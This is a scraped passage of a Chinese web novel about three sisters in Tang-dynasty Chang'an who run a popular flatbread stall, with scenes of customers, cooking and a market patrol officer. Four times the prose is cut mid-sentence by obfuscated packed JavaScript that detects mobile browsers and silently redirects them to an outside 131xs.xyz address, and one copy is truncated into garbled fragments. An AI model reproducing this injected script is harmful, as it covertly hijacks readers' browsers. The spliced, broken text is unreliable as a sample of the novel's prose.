面对这些热闹场面,武长青早已视若无睹见怪不怪,只按着仪刀继续沿街道巡逻,偶尔向摊贩和行人询问情况,查看是否有可疑人物或物品。 忽然,一道清亮的吆喝声破开嘈杂,脆生生地撞进他的耳朵。 “酱香热饼,新出炉的酱香热饼——‘梅香映雪’、‘翠玉生香’、‘金乌抱月’、‘金玉满堂’,四种口味,任君选择!” 这句话音刚落,便有一道稚嫩的童声跟上:“酱香热饼,酱香热饼,可好吃了!” 两道声音各有不同,一清脆一甜润,一听便知是两个伶俐的小娘子。 武长青不由驻足回首,那喊话声果然分别来自两个小娘子,大的那个眉眼间很是英气,吆喝起来很有几分不同;小的那个扎着双螺髻,靠着树干,手里举着块干荷叶包着的面饼,边吃边说:“阿姊手艺,长安独一份!走过路过莫要错过哦!” 大的那个在旁边接着喊:“‘梅香映雪’素饼三文,‘翠玉生香’加菜四文,‘金乌抱月’加蛋六文、‘金玉满堂’菜蛋都加是七文!” 梅香映雪,金乌抱月? 这都是什么?名儿还怪好听的。 武长青本不想过多停留,却被这饼子的独特名字勾得十分好奇,跟在他身后的李二和钱四也不由自主停住脚步。 三人对视一眼,彼此都没有言语,但都不约而同走向那柳树下的卖饼小摊儿。 挤过里外几层人群,三人发现那小摊的陈设比他们想象中还要简单整洁:推车、连着炭炉的饼铛,旁边放着几个陶罐,一罐红油,一罐赤酱,还有切碎的鲜灵葱花、腌菜——是萝卜丁,切得大小正好,亮汪汪地泛着勾人食欲的橙红油光,直甩出他们公厨好几条街;食盒里装着新鲜白苣和煎好的荷包蛋。 摊位上方挂着一块木牌,上面写着“崔记酱香饼”几个大字,字迹飘逸,引人注目。 崔记? 武长青目光越过人群,落在摊位后的女郎身上。 对方青布束发,素色襦裙外罩着麻布围裳,袖口挽至肘间,露出一截莹白有力的小臂。 她垂眸不语,手上动作忙个不停。 面饼在饼铛上摊开,遇热渐成金黄;小竹刷蘸上红亮酱料,在饼皮上均匀刷开,每一寸面褶都渗进浓香;筷子夹起食盒里的荷包蛋,略煎复温,往酱饼正中一扣,撒上腌萝卜丁和翠绿葱花,再挟起一片翠绿白苣对折一夹—— 一块菜蛋都加的“金玉满堂”酱香煎饼便做得了。 崔时钰动作利落地将做好的酱香饼用干荷叶包好,递给对面,“客官拿好,小心烫口。” “多谢小娘子!”那人喜滋滋接过,迫不及待咬下一大口。 面饼煎得外酥里软,面香十足,裹挟着葱花与胡麻,还有脆爽的萝卜丁和白苣叶子,并着煎得外焦里软的荷包蛋……最绝的要属那酱,不知是怎么熬出来的,又浓又香,他在别的地方都没吃过,别提有多好吃了! 这可比其他小食摊上卖的那些饼子好吃多了! 这美妙的滋味自然也钻入了其他人的鼻腔,后头排队的人都忍不住抽了抽鼻子。 一个老汉咽着口水:“小娘子,我要那个‘金乌抱月’!” 孩童扯着母亲衣袖哭闹:“阿娘,我要吃那个饼!” 有个胡人也来凑热闹,操着生硬的唐话道:“翠、翠玉生香!多酱!” “……” 武侯铺三人又对视一眼,钱四觑着武长青的目光率先开口:“那个,铺正,我瞧着最近这些天坊里都挺太平的,咱们先别着急巡逻了,先尝尝这饼——吃饱了才有力气干活啊!朝食吃的那些不禁饱,我都消化完了。” 钱四说完心里头也有些没底:他们这位武铺正最是刚正不阿,断不会因为区区一块饼子让步,今日吃到这酱香煎饼怕是没戏了…… 他正惋惜着,便听武长青启唇道:“行,那咱们便等上一会儿。” “……”钱四不可置信地和李二对视一眼,对方也是同样的瞠目结舌。 两个人想:今天的太阳是打西边出来了? 又想:能不能天天都从西边出来? 三人开始排队。武长青排在最前面。 因三人常年在东西二市巡逻,又身着武服,有眼尖的人认出他们身份,为了讨个好儿,主动让出自己排了许久的位置。 钱四听了这话心中一喜,正要开口应下,便听他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15587102|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚正不阿的铺正大人拒绝道:“多谢,但不必了。” ……太阳从西边落下去了。 钱四叹了口气,继续和李二老实排队。 好在许是摊主女郎动作麻利,等待的时间比他们想象中更快,武长青看见排在前面的人一个个美滋滋地拿饼离开,很快就排到了他自己。 卖饼女郎抬头,额角沁着细汗,颊边沾了半点面粉,笑问:“这位郎君,酱要辣的还是不辣的?” 她声音比妹妹们都要低些,却像刚出锅的饼,暖烘烘地熨进耳中。 武长青望着她怔愣几秒,而后才回过神来,回答:“不辣的吧,要‘金玉满堂’。”方才他特意听了几耳朵,这“金玉满堂”是菜蛋都加的。 那女郎应声答道:“好嘞。” 她动作麻利地又做了张饼,刷酱、裹料,面饼对折时透出里头蛋菜层叠的诱人剖面。 接着又扯过一张还带着湖泽清气的青褐荷叶,将饼一裹一缠卷好。 崔时钰将包好的酱香饼递给武长青,微笑说道:“郎君拿好,小心烫——吃了这饼,金玉满堂,福运满门。” 这句吉祥话让武长青感到格外心暖,不禁感叹这女郎真会做生意,接过饼子道:“多谢,小娘子也是。” 正要将七文钱递给对方,却有另一双小手伸了过来。武长青侧头一看,原来是那位卖饼女郎的二妹。 那小娘子客气说道:“客官将钱给我便是,阿姊说自己做饼,沾了银钱恐会脏了饼子。” 武长青点头说好,付钱的时候侧头一看,那卖饼娘子的小妹还在卖力吆喝着呢。 他懂了,原来姊妹三人各有分工啊。 武长青微微一笑,拿着饼子离开了依然人满为患的队伍。 他垂眸看向自己手中的热饼,只见绿意里隐约透出酱色,活像个藏着珍宝的荷包,解开时尤其有种寻宝之感。 饼皮金黄酥脆,微微鼓起,表面泛着诱人的光泽,酱汁渗进褶皱里形成深色纹路,翠绿的白苣与金黄的荷包蛋相互映衬,再配上酱料的酱褐色泽,整个酱香饼色彩搭配相得益彰,令人垂涎欲滴。 闻一闻,先涌上来的是酱料的醇厚酱香,接着是裹着油脂的蛋香,最后一丝白苣和荷叶的清气犹如点睛之笔,勾得人舌底生津。 武长青吞了吞口水,低头咬下一大口。 牙齿破开饼皮咬到里头柔韧的饼芯,微脆的荷包蛋混着酱汁在舌尖滚过,咸鲜里迸出微甜,脆嫩的白苣忽然介入,满是鲜灵的菜香。 真是好吃极了。 饶是清早已吃得半饱,武长青还是忍不住一口接一口,很快便把一张加蛋加菜的酱饼吃进肚子。 吃完手中的酱香饼,武长青意犹未尽,仍在回味着那独特的滋味。 酱料的浓郁、面饼的酥韧、荷叶的清香……还有那动作利落的小娘子。 他决定再买一个刷辣酱的饼。 然而一回头,却见那卖饼女郎正在和妹妹们捆扎包袱,已然一副收摊的架势。 这么快就把饼子卖完了? 崔时钰边收拾东西,边在众人的惋惜声中道:“各位客官,感谢大伙厚爱,饼子已卖完,咱们明日不见不散!”说完便推着推车,带着两个妹妹离开了。 远处传来妹妹银铃般的笑语:“阿姊,明日咱们要再多备些饼呢!” 武长青捧着尚有余温的荷叶,脑中还浮现崔时钰做饼子的模样,摊饼、刷酱、裹料,一举一动皆是娴熟利落。 “罢了,明日再来吧。” 他过转身,和对那酱香饼赞不绝口的李二和钱四一起融入西市的人群中,继续巡逻。 武长青头一次对转天的到来产生了期待。 明天早晨,他一定要吃刷辣酱的。 17. 香菇油饭 姐妹三人一人推着推车,一人捧着食盒,一人抱着扑满,有说有笑地回家去。 “扑满”是唐人们日常使用的存钱罐,以陶瓷制作而成,顶部有一个用于投入钱币的狭长开口,没有出口,装满钱币后需将其打破才能取出内里银钱,有“满则扑之”的意思,因此得名“扑满”。 崔家这个扑满是个仿桃形的,形状圆润,让同样圆润的阿宁抱着最是合适。 小姑娘抱着存钱罐晃来晃去,和阿锦凑在一块儿听里面铜钱碰撞叮叮当当的清脆声响,玩得不亦乐乎。 看妹妹们高兴的样子,崔时钰也跟着笑。 第一天出摊的情况比她想象中还要好。 因不知道出摊情况如何,崔时钰只当作是摸底,只提前做好了五十张饼子,另配了四十片生菜和二十枚荷包蛋。 她自觉这么多存货应该够卖两个时辰,没想到将一张做好的酱香饼切成小块分给人们试吃之后,竟然不到半个时辰便销售一空。 崔时钰当时还有几分意犹未尽,她还想再多摸会儿铲子呢! 虽说铜钱都已装进扑满,但对于今日赚了多少钱,崔时钰心中大抵有数:除去面粉、生菜、鸡蛋、酱料——谁能想到那两罐酱是这堆食材里最贵的,不算手工费,今日出摊约莫赚了二百六十多文。 二百六十文啊!几乎是崔家姐妹三个一个月的生活费了。 照此以往,赚出铺子的装修费指日可待。 想着自己未来的小食肆,崔时钰心里都快乐开花了。 姜饼小车叮叮咣咣的声音欢快地灌入长乐坊南巷,王五娘一听便从院门探出头来,手上还沾着豆渣,喜庆道:“阿钰回来啦?早市还没结束就把饼子卖完了,看来生意很是不错嘛!” 崔时钰保持谦虚,笑着说:“婶娘过奖了,是东西准备得少罢了。” 话音刚落,她就看到王五娘身后的娇娇像只小猫似的冒了出来,大大的眼睛望着她,嫩生嫩气道:“崔娘子好。” 自打吃了这位崔家娘子亲手做的小笼蒸包和糖醋里脊,崔时钰在娇娇心中的地位便直线上升。 有做菜这么好吃还温柔漂亮的阿姊,她好羡慕阿宁啊! 崔时钰还不知道自己又多了个小迷妹,瞧着因挑食不爱吃饭,比同龄孩子更瘦弱些的娇娇——特别是同最近吃胖了的阿宁站在一起,更是对比鲜明。 她微微弯腰对小女孩温和一笑:“娇娇也好。”然后直起身子对王五娘道,“若是得了空,婶娘定要带娇娇来我这儿来,我请您和娇娇吃饼子。” 崔时宁也马上跟着开口:“娇娇吃完饼再来和我玩斗草吧,咱们那天玩的可有意思啦。” 娇娇毫不犹豫地点头:“嗯!” 她还没吃过崔时钰做的酱饼,但有之前吃肉馒头和炸肉条的经验,她相信这饼子也一定很是美味。 吃完好吃的饼子,再去找阿宁玩斗草……她也太幸福了吧! 两家人其乐融融笑成一片。 瞥见这温馨一幕,张六娘冷哼一声,扭着屁股回了自家胭脂铺子。 不就是卖饼子的生意好吗,有什么好炫耀的……怎么也不说请她吃饼呢? 真是岂有此理! 张六娘这一声冷哼自然也传入了崔时钰的耳朵。 她活了两辈子,多少能够猜到这位邻居的心中想法,无非是对她眼红心热,再加上没占到便宜,很有些不忿罢了。 崔时钰并不打算改变。 崔娘子过得不如意时,对方从来冷言冷语,没施以过任何援手,凭什么她的日子好起来了,倒要去为这种人提供好处呢? 天底下没这种好事。 崔时钰不动声色往那生意冷清的胭脂铺子瞧了一眼,收回目光,大方地和王五娘打过招呼便回家了。 到家后,她先是将推车和饼铛仔仔细细用抹布擦了一遍,把上面的菜渣、酱渍、油迹擦干净,又清了炭炉里的炭灰,添上新炭。 “工位”整洁清爽,她自己工作起来舒心,食客们看见干净卫生的环境也能买得放心。 做完这些,崔时钰又分别去几个铺子买了面粉鸡蛋和生菜,还有她和妹妹们所需的日常用品。 加上前几日在冶铺订做的手推车三件套,这些天来的大小花销不知不觉已花掉嫁妆的一半,花得她很是心疼。 但这也是没办法的事,往好处想,投资嘛,总会赚回来的。 有了第一日的卖饼经验,这次崔时钰足足采购出一百张饼子的量,紧赶慢赶,总算赶在午饭前把面粉全部过筛完毕,可以休息了。 为庆祝饼摊首日开张大吉,午饭就吃个香菇油饭吧,正好刚买了香菇! 做好的香菇油饭,吸饱了荤油的香菇肥厚软糯,咬下去能迸出带着菌鲜的汁水,混着猪油的荤香在舌尖绽开,再配上一口浸透了油脂的米饭…… 崔时钰成功被自己脑补出来的画面弄饿了,马上抓一大把干香菇用一只小碗泡上,又焖上一锅稻米饭——没错,是稻米! 家里的糙米一经吃完,崔时钰就连夜去米粮铺子买了稻米。这种米去除了谷壳、米糠和胚芽,只剩胚乳部分,色泽洁白,味道和后世的大米有七八成相似。 稻米的价格自然更贵些,但崔时钰觉得这钱花得值。糙米饭吃起来太剌嗓子了,感觉时间长了嗓子眼里都会起茧子。 崔时钰把焖好的白米饭盛出来放在一旁备用,这时候香菇也泡发得差不多了。 她特意选择了干香菇而非鲜香菇。和鲜香菇相比,前者味道更为浓郁香醇,做出来的香菇油饭味道更好。 吸饱水分的香菇舒展开来,伞面呈现出层次分明的褐色,中心处是浓稠的酱色,向外渐次晕染成焦糖色,好看极了。 崔时钰将泡发的香菇捞出,泡香菇的水不倒,盛碗里放一旁备用,另取菜刀将香菇切成厚薄均匀的薄片。 锅里的猪油比平时多挖了两小勺,待青烟将起未起,放入提前切好的蒜瓣葱段,崔时钰端起瓷盘,将切好的香菇片滑入锅中。 入锅刹那,香菇的鲜香陡然活了起来,浓郁的菌香与猪油的香气在庖厨内交织弥漫。 经过不停翻炒,香菇片和边缘被煎得微微卷起,渐渐吸饱油光,变得金黄透亮。 崔时钰深嗅了一口香气,不由满意点头,将一旁恭候多时的米饭倒进去,淋入适量酱油,翻炒均匀,再倒方才用来泡发香菇的香菇水,盖锅盖焖煮。 等到再次掀开锅盖的时候,米粒已经染透浓郁的酱色——那是酱油与香菇自身共同调和后的颜色。 估摸着差不多成了,崔时钰最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594646|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往锅里撒了一把切好的小葱花收尾。 舀起一勺,粒粒分明的油饭泛着油光,其间点缀着深褐色的香菇片,碧绿葱花的加入,为油饭增添了一抹清新的亮色。 热气蒸腾而上,酱香、菌香与米香撞了个满怀,混合着油脂的浓郁香气,让人闻着便忍不住直吞口水。 阿锦和阿宁早已在食案旁恭候多时。 忙活一个上午,她们也饿坏了,特别是阿宁,饭还没端上桌便连声喊道:“好香啊,阿姊今日又做了好吃的!” 崔时钰递给两个妹妹的饭都盛到了冒尖,阿宁接过碗,先深深吸了一口气,用勺子舀起一口送入口中,顿时满足地眯起一双葡萄眼。 蕈子好香……米饭软软糯糯又有嚼劲……好好吃啊! 阿锦也在细细品尝。 米饭入口的瞬间,先尝到的是极好的口感,粒粒分明却又柔软弹牙,这是从前的糙米饭吃不到的。 蕈子炒得也好,柔软中带着一丝韧性,随着咀嚼释放出源源不断的鲜味,既有山林的清新,又因炒制带上了微微焦香。 两者通过猪油完美融合在一起,蕈子软嫩鲜香,米饭油润入味。 “阿姊,真好吃,真香啊。” 阿锦和阿宁边吃边夸,嘴巴里塞满了香菇饭,吃得腮帮子都像小松鼠一样鼓了起来。 两只小松鼠用完午食都有些晕碳,洗完碗便挨在一起去榻上睡午觉了。 崔时钰本来不想睡,但可能困意会传染,她盯着妹妹们憨态可掬的睡相看了一会儿,不由自主打了几个哈欠,也歪到榻上去了。 一个香甜的午觉醒来,崔时钰和妹妹们简单用完暮食后便进了庖厨。 她要为明日的出摊做准备了。 因是做朝食生意,早上这段时间是不折不扣的高峰时段,现场做饼肯定来不及,是以崔时钰卖出去的饼子都是提前做好的——她早起将饼子做好,放进食盒保温,再带去摊上煎一煎复热。荷包蛋也是相同的处理方式。 本朝的保温食盒和后世的保温饭盒相仿,都是利用夹层保温原理,内部和外部之间有一个夹层,里面填充隔热材料阻隔热量散发,如棉花、草絮、芦苇等等。 此外还有注水保温、炭火保温等保温方式,即在夹层中注入热水与火炭,利用这些东西的热量来保持食物的温度。 但崔时钰觉得这样有些麻烦,注热水要经常更换热水,而放火炭就要小心烫伤,价格也贵,是以取用折中方法,将食盒的保温夹层中放入热灰,利用热灰的余温来保持饼子和荷包蛋的温度。 这种方法简单且成本低,适合她这种小商小贩使用。 保温食盒能在极大程度上保持饼子和荷包蛋的温度,带去早市后将提前制作好的饼皮放在饼铛上加热,使其恢复酥脆的口感,再根据客人需求刷酱加菜加蛋,现场组装。 崔时钰尝过了,这样不仅能提高效率,而且做出来的酱香饼味道也和刚出锅时一模一样。 她把用油酥和好的面团分成一个个剂子,摊成饼方便明日清晨煎制,放进地窖低温保存,又洗了生菜和鸡蛋,以及准备好用来包装的干荷叶。 做完一系列准备工作,崔时钰痛并快乐着地活动了一下酸痛的肩膀,抬头瞧见夜空中密布的晚星,打着哈欠进屋洗漱睡觉了。 18. 全城风靡 晨光熹微,长安城七十二坊的轮廓在淡青色的天幕下渐渐清晰。 长乐坊南,崔家小院的庖厨里正透出隐隐昏黄光线。 崔时钰将最后一张饼子从饼铛取下,热气裹挟着芝麻与酥油的香气扑了满面,让她不由自主深吸了一口气。 好香。 今日的饼子应该也能卖得不错。 她将饼子整齐地码进添了热灰的保温食盒,又盖上干净麻布。 “阿姊,我和阿宁都梳洗好了。”阿锦穿着洗得发白的青色襦裙,拉着扎着两个小髻的阿宁,精神抖擞地站在门口。 和二姐相比,崔时宁显然没那么精神焕发,拉着姐姐的胳膊,小脑袋一点一点地打着瞌睡。 崔时钰瞧着有些不忍,她本没打算带着阿宁去摆摊,但小姑娘不乐意,说什么“阿姊和二姊都去了那我也要去,我不要一个人在家”,为此还差点哭了鼻子,委屈极了。 崔时钰拗不过妹妹,再加上也有点不放心把小小的阿宁一个人留在家,于是便把两个妹妹都带上了。 没想到竟有意外之喜。 阿锦自是不必说了,小姑娘懂事稳重,吆喝叫卖、接钱找钱,每样都完成得极好,阿宁就有些让崔时钰出乎意料了。 原本还坐在崔时钰给她带来的小胡凳上困得睡眼惺忪,接过姐姐递来的酱香饼——也就是她今日的早饭,马上精神抖擞,大口大口啃起饼子,吃得极香。变脸速度之快,让周围几个喜爱小孩的阿翁阿婆直笑弯了眼。 别看小姑娘牙都还没长齐,吃得速度倒快,而且吃相也好,嘴角不会沾上酱汁,更不会吧唧嘴,小嘴一张一合吃得津津有味,每咬一口都会发出满足的“嗯嗯”声,仿佛在告诉周围的人这酱饼有多好吃多美味。 往那儿一坐,活像酱饼摊的吉祥物,让崔时钰本就热闹的生意更好了几分。 想着昨日阿宁啃饼的画面,崔时钰不由一笑,将装着饼子与荷包蛋的保温食盒放进推车,又检查了一遍酱罐和扑满,温声对两个妹妹说:“走,阿锦阿宁,咱们赚钱去。” 姐妹三人推着吱呀作响的小推车穿过坊间小巷。 五更鼓刚刚敲过,街上已有零星行人,崔时钰习惯性地在心里盘算着今日的生意——昨日准备了五十个饼,半个时辰就卖出去了,如此算来,今日的一百张大概只需一个时辰。 转过最后一个街角,西市的轮廓映入眼帘,崔时钰的脚步突然一顿。 “阿姊,怎么了?”崔时锦从车后探出头来,顺着姐姐的目光望去,随即也瞪大了眼睛。 她们昨日摆摊的那棵柳树旁边,竟排着一条长队! 摆摊地址是崔时钰特意选的,旁人都瞧不上那棵还没抽条的柳树,崔时钰却觉得很好,一眼相上:柳树柳树,有“留”之意,是个好兆头。 现在看来,倒是一语成谶了。 那队伍少说也有二三十人,有穿着粗布短打的脚夫,也有锦缎长袍的商人,甚至还有几个看似大户人家的小厮。队伍已经拐到对面铺子门前,引得路人频频侧目。 队伍最前头一个熟悉的身影转过头来,是高记肉行的店主,高老汉。 不知道对方什么时候开始排的队,又等了多久,见崔时钰来了也不催,只笑着道:“崔娘子来了!昨日我店里的伙计阿福买了你的饼子,回来之后和我大肆夸赞一番,说得很是馋人……今日我定然也要买回去尝尝!” 照阿福当时所说,虽然长安街上卖饼的食摊不少,味道也尚可,但没有一家的吃食如崔娘子做的饼子这般好吃新颖,口感暄软不说,还有菜有蛋,里面添的酱也好吃极了。 “我第一次吃到这么好吃的酱……酱香热饼,怪不得把‘酱’排到第一个字呢!”阿福如是说道。 “老丈久等了。”崔时钰朝高老汉笑了笑,先和他寒暄几句,接着又探头对后面排队的人道,“诸位稍候,马上就好。” 她手脚麻利地支起摊子,摆好案板,把各种瓶瓶罐罐摆在一旁方便取用;阿锦和她打配合,蹲下*身熟练地引燃炭火,把扑满抱在怀里准备收钱;而坐在胡凳上的阿宁也开始直播起今日的吃播。 一切准备就绪,姐妹三人有条不紊忙活着自己要做的事。 高老汉共点了两套饼子,都是菜蛋都加的,即崔时钰推出的“金玉满堂”。 本朝文化繁荣,人们大都追求风雅,不仅注重食物的味道,还注重食物的名称,比如茶艺除了被称作“斗茶”,还称为“茗战”,极风雅。 除此之外,唐朝人还相信食物的名称能够带来好运和福气,是以给饼子起个好听的名字能让顾客更愿意购买。 崔时钰当初给酱饼起名着实花费了些心思:“梅香映雪”——只刷酱的素饼就像雪地上开了一片梅花;“翠玉生香”——鲜嫩的生菜宛如一块翠玉;“金乌抱月”——金灿灿的荷包蛋就像一轮太阳;“金玉满堂”——全家福嘛,没什么好说的,当然是“满堂”了。 目前看来,此招十分有效,现在来买饼的客人都不说“加菜”“加蛋”“素饼”了,直接喊诨名。 比如高老汉后面这位,在队伍里排第二的客人,菜蔬铺店主蔡三郎。 “烦、烦劳小娘子,一套‘翠玉生香’,加……加两片白苣,不要辣。”蔡三郎磕磕巴巴道。 崔时钰表情不变,微笑道:“郎君稍等。” 她的生菜以及用来包装的干荷叶都是从这位蔡三郎的铺子里购入的,是以也算和对方打过交道,有些交情了,若非如此,崔时钰还真怀疑蔡三郎会不会把那句“加两片生菜”的要求说出口。 许是因为口吃,蔡三郎是个极老实内敛的人,很是社恐,崔时钰第一次去蔡氏菜铺时,他全程没有开口说一句话,全靠铺子里的伙计招呼着。 崔时钰当时正在考察附近的菜蔬铺子,只简单买了些萝卜试水,数量不多,还以为蔡三郎嫌弃自己买的少,没想到结账时对方直接将她的零头抹了,还附赠了一小把芫荽。 崔时钰当即就把蔡氏菜铺添入了合作名单。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597693|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 话说回来,蔡三郎是真爱吃菜啊!她还是第一次遇到有人点了双份生菜。 或许这也是他开了间菜蔬铺的原因? “我就是为成为菜蔬铺店主而生的。” 没由来地,崔时钰脑子里突然冒出这句台词,然后就被自己逗笑了。 她勉强压下翘起的嘴角,从保温食盒里取出一张饼。 热灰添得足,饼子还热着,冒着薄薄的白汽,表皮微微鼓胀,翘起酥脆的薄壳,隐隐能闻到小麦被炙烤后泛甜的焦香,和油酥的醇厚荤香。 其实这时候的饼子直接拿来卖也不是不行,但崔时钰不愿意,非得刷油放进饼铛复热一次。 外婆的话仿佛还响在耳边:“火候差一分,味道便差十分。” 她一直都记得。 饼铛下的炭火正旺,饼皮很快重新泛起金黄,芝麻的香气混合着麦香弥漫开来。 因着饼子已经提前做好,复热时间不必太久,几次眨眼的功夫崔时钰就热好了一张饼子,刷酱的时候忍不住想:还好提前有所准备。哪怕手法再娴熟,取面团现场擀制新饼也要耗费不少时间。 现在的速度就快多了,一盏茶的功夫能做好几张饼,不然面对这样一条乌泱的长队,还真有些考验人的心态。 那蔡三郎钦点的不辣咸酱也是那日崔时钰熬辣酱时一同做的,除了没放食茱萸之外和辣酱做法一模一样,同样的酱香浓郁,咸鲜适口。 “蔡郎君拿好,小心烫。”崔时钰很快做好了蔡三郎要求的双份生菜酱香饼,裹了干荷叶递给对方。 在唐朝,荷叶是常见的天然包装材料,既能保持食物温度,又能增添自然的香气,不仅用于包装食物,还用于包装药材、酒水等。 夏季荷叶繁茂,人们会大量收集并晒干,以便在需要时使用。此时天气尚未回暖,新鲜荷叶还未上市,崔时钰采购的都是干荷叶。 经过晒干处理的干荷叶水分含量低,不易腐烂,便于长期保存,还自带荷叶清香,用它包装的酱香饼吃起来别有一番风味。 看到心心念念的酱香热饼用自家铺子里卖出去的荷叶包着,蔡三郎感到喜悦的同时还有几分与有荣焉的欣慰。 “多、多谢小娘子!” “不客气。”崔时钰笑道。 蔡三郎喜滋滋地捧着饼离开了。 在他身后,今日第三位客人是个书童模样的半大少年,圆头圆脑的,模样很是机灵喜兴。 对方穿一件用浅青细麻裁成的缺骻袍,头戴乌色幞头,腰间束一条素色革带,上面挂着一个小巧的竹编书袋,里面装着笔墨纸砚等文房用具,想来是跟随自家郎君外出学习之物。 “娘子好。”圆脸书童先向崔时钰行了个叉手礼,然后才礼貌道,“我家二郎近日食欲不振,听闻娘子卖的的酱香热饼味道极佳,我便想着买个回去给二郎尝尝,只是有些要求,不知娘子是否介意?” “哦?”崔时钰好奇问道:“那请小郎君说说看,有什么特别的要求呢?” 19. 但愿她好 得了她的准许,那小书童果然掰着手指一一点数起来:“一要外酥里软,饼皮酥脆,最好边上带些焦黄,咬下去能听见咔嚓声;内里则要柔软筋道,富有嚼劲,千万不能夹生。” 而后像是想到了什么似的:“上回东市买的饼放久了,软塌塌像抹布,二郎咬了一口就搁下了……” 他清清嗓子,继续道:“二忌葱蒜过重,酱料里莫要撒生葱,二郎不喜生葱味道,但若是能加些炒熟的胡麻倒是极好的,二郎最爱那个香气;” “三要厚薄适中,不能太厚,否则吃着狼狈,沾了衣衫;也不能太薄,否则酱汁一浸就破。” 末了又添一句:“酱料千万莫要太咸!昨儿庖厨做的鲈鱼羹咸了,二郎喝了半盏茶才压下呢!” 小书童约莫十三四岁,说起话来却已头头是道,提出来的三条要求俱是为自家郎君考虑。 这些要求虽然乍听有些繁琐,但在崔时钰看来,饼子外酥里软、厚薄适中,酱料咸鲜适口——这不都是对于一张好饼的基本要求吗?而且就像不吃辣一样,那条“不要生葱”也只能算作个人口味问题。 方才听这小书童煞有介事给她打预防针,崔时钰还以为对方会提出多琐碎繁杂的要求,没想到只是这些“举手之劳”。 很容易满足。 她莞尔一笑道:“小郎君且放心,儿做的饼本就饼皮酥脆、饼芯暄软,那香酱和辣酱也是有口皆碑,咸淡正好;要胡麻不要生葱对吧,我记住了。” “那便有劳小娘子了。”小书童轻轻呼出一口气,见崔时钰脸上并未出现不耐的神色,这才继续说,“其实这些要求并非我家二郎亲口提出,而是我担心郎君吃不好,自作主张的。” “原来如此。”崔时钰了然道,“有你这样的书童是你家郎君的福气。” “哎呀!小娘子这话说的。”小书童不好意思地摸了摸脑壳,“能伺候郎君才是我的福气。” 崔时钰和他闲聊着,手上动作也没停,把一张圆如满月的饼子从保温食盒里取出来,熟练地复热、刷酱、撒芝麻,每一步都认真细致。 一眨眼的工夫,一张裹着生菜与荷包蛋的酱香饼便做得了。崔时钰将饼子用干荷叶包好,递给小书童。 那小书童接过荷叶包,仔细看了看,脸上露出高兴的神情:“多谢小娘子,我家郎君一定会喜欢的……对了小娘子,我今日也还没用朝食,给我也来个饼子吧,要‘金玉满堂’,刷辣酱的!” 崔时钰自是没有不答应的,快手又做了一套递给他,“小郎君拿好。” 小书童捧着两个荷叶包笑得牙不见眼。 方才他排队时都看到了,这位崔娘子只做饼,收钱的活计由她的二妹负责,于是便把十四文钱递给了那位被唤作阿锦的小娘子。 “小娘子辛苦了。” 崔时锦看着面前和自己年纪相仿的少年,眨眨眼,学着阿姊的样子微笑着说:“多谢小郎君,小郎君慢走。” 小书童又行了个叉手礼,转身离开了。 崔时钰继续投入到紧锣密鼓制饼工作中,两套“梅香映雪”的素饼做完,用帕子擦额汗的时候抬头看了一眼,只见方才离开的小书童已捧着自己那套酱香饼,边走边大口吃了起来。 她有些惊讶:在崔娘子的记忆里,富贵人家的奴仆都是等主子用完膳才能进食,规矩极严,这样毫无顾忌地边走边吃几乎不被允许。 崔时钰心中暗叹,这户人家对奴仆真好啊,难怪那小书童处处为自家郎君着想。 感叹完毕,她低下头,继续做下一张饼子了。 青松三口两口吃完自己那套饼子,将剩下那套揣进怀里,小跑着来到远处的一辆马车前。 “二郎,饼子买好了,您快趁热吃吧,莫要等它凉了。” 一只骨节分明的手挑起车帘,露出其后谢家二郎的俊美脸庞。 休沐结束,今日是去广文馆就学之日,谢宵穿着月白色圆领袍,头戴黑纱幞头,脚踏乌皮靴,一派世家学子的打扮。 他接过书童递来的热乎乎的饼子,含着笑说:“辛苦你了,青松。” “二郎又在折煞奴了!”青松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603526|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘿嘿笑了两声,还在回味方才酱香热饼的滋味,咽了咽口水说,“这饼子的味道着实不一般,二郎快尝尝。” 谢宵垂眸,伸手将荷叶包轻轻拆开。 